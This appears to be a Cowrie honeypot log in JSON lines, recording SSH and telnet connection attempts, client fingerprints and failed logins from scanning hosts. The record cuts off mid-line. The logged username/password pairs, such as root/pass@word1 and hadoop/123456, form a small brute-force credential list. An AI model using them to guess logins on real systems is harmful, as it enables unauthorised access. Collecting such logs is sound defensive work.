{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51940,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b101054b4ae","protocol":"telnet","message":"New connection: 170.64.224.25:51940 (159.203.135.109:23) [session: 2b101054b4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:48.951120Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":51642,"dst_ip":"10.17.0.5","dst_port":22,"session":"02527758384e","protocol":"ssh","message":"New connection: 91.92.40.4:51642 (10.17.0.5:22) [session: 02527758384e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:55.681497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:55.689187Z","src_ip":"91.92.40.4","session":"02527758384e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:55.764401Z","src_ip":"91.92.40.4","session":"02527758384e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhouh","password":"zhouh","message":"login attempt [zhouh/zhouh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:56.244792Z","src_ip":"91.92.40.4","session":"02527758384e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:57.330467Z","src_ip":"91.92.40.4","session":"02527758384e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":34628,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2f690d17d42","protocol":"ssh","message":"New connection: 195.86.192.66:34628 (10.17.0.5:22) [session: d2f690d17d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:03.707415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:03.714125Z","src_ip":"195.86.192.66","session":"d2f690d17d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:03.947027Z","src_ip":"195.86.192.66","session":"d2f690d17d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@word1","message":"login attempt [root/pass@word1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:04.896420Z","src_ip":"195.86.192.66","session":"d2f690d17d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":35342,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2d769882eff","protocol":"ssh","message":"New connection: 103.122.221.179:35342 (10.17.0.5:22) [session: f2d769882eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:05.493218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:05.498059Z","src_ip":"103.122.221.179","session":"f2d769882eff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:05.759041Z","src_ip":"103.122.221.179","session":"f2d769882eff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:06.128513Z","src_ip":"195.86.192.66","session":"d2f690d17d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"051284","message":"login attempt [root/051284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:06.543500Z","src_ip":"103.122.221.179","session":"f2d769882eff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:07.807756Z","src_ip":"103.122.221.179","session":"f2d769882eff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47944,"dst_ip":"159.203.135.109","dst_port":23,"session":"a51a65200dcb","protocol":"telnet","message":"New connection: 170.64.224.25:47944 (159.203.135.109:23) [session: a51a65200dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:16.042364Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":38846,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9f426280018","protocol":"ssh","message":"New connection: 5.182.83.231:38846 (10.17.0.5:22) [session: d9f426280018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:16.354149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:16.358074Z","src_ip":"5.182.83.231","session":"d9f426280018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:16.468191Z","src_ip":"5.182.83.231","session":"d9f426280018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t!","message":"login attempt [root/1q2w3e4r5t!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:16.938596Z","src_ip":"5.182.83.231","session":"d9f426280018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:18.050997Z","src_ip":"5.182.83.231","session":"d9f426280018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35032,"dst_ip":"159.203.135.109","dst_port":23,"session":"4118190b2f6f","protocol":"telnet","message":"New connection: 170.64.224.25:35032 (159.203.135.109:23) [session: 4118190b2f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:22.017320Z"}
{"eventid":"cowrie.session.closed","duration":40.414578437805176,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:29.365592Z","src_ip":"170.64.224.25","session":"2b101054b4ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33128,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8b10d07a9be","protocol":"telnet","message":"New connection: 170.64.224.25:33128 (159.203.135.109:23) [session: c8b10d07a9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:30.323961Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":46768,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ff339fa16b8","protocol":"ssh","message":"New connection: 101.32.145.199:46768 (10.17.0.5:22) [session: 8ff339fa16b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:30.973044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:30.980841Z","src_ip":"101.32.145.199","session":"8ff339fa16b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":36090,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6e68b71ede1","protocol":"ssh","message":"New connection: 175.118.127.138:36090 (159.203.135.109:22) [session: c6e68b71ede1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:30.995427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:30.999689Z","src_ip":"175.118.127.138","session":"c6e68b71ede1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:31.179495Z","src_ip":"175.118.127.138","session":"c6e68b71ede1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:31.213837Z","src_ip":"101.32.145.199","session":"8ff339fa16b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456A","message":"login attempt [root/123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:31.929185Z","src_ip":"175.118.127.138","session":"c6e68b71ede1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1","message":"login attempt [ansible/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:32.154063Z","src_ip":"101.32.145.199","session":"8ff339fa16b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:33.111161Z","src_ip":"175.118.127.138","session":"c6e68b71ede1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:33.402495Z","src_ip":"101.32.145.199","session":"8ff339fa16b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.364356756210327,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:42.406536Z","src_ip":"170.64.224.25","session":"a51a65200dcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.142.147.56","src_port":65334,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfb01a013db3","protocol":"ssh","message":"New connection: 193.142.147.56:65334 (159.203.135.109:22) [session: cfb01a013db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:48.560972Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr","message":"Remote SSH version: \u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:48.564629Z","src_ip":"193.142.147.56","session":"cfb01a013db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:48.567244Z","src_ip":"193.142.147.56","session":"cfb01a013db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.464911699295044,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:17:50.482122Z","src_ip":"170.64.224.25","session":"4118190b2f6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":58734,"dst_ip":"10.17.0.5","dst_port":22,"session":"f14c2298aacf","protocol":"ssh","message":"New connection: 222.108.100.117:58734 (10.17.0.5:22) [session: f14c2298aacf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:04.588011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:04.591910Z","src_ip":"222.108.100.117","session":"f14c2298aacf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39300,"dst_ip":"159.203.135.109","dst_port":23,"session":"462595b09107","protocol":"telnet","message":"New connection: 170.64.224.25:39300 (159.203.135.109:23) [session: 462595b09107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:04.628480Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:04.798375Z","src_ip":"222.108.100.117","session":"f14c2298aacf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:05.654782Z","src_ip":"222.108.100.117","session":"f14c2298aacf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":60186,"dst_ip":"159.203.135.109","dst_port":22,"session":"b776ed164ee4","protocol":"ssh","message":"New connection: 157.230.18.133:60186 (159.203.135.109:22) [session: b776ed164ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:05.939003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:05.943146Z","src_ip":"157.230.18.133","session":"b776ed164ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nist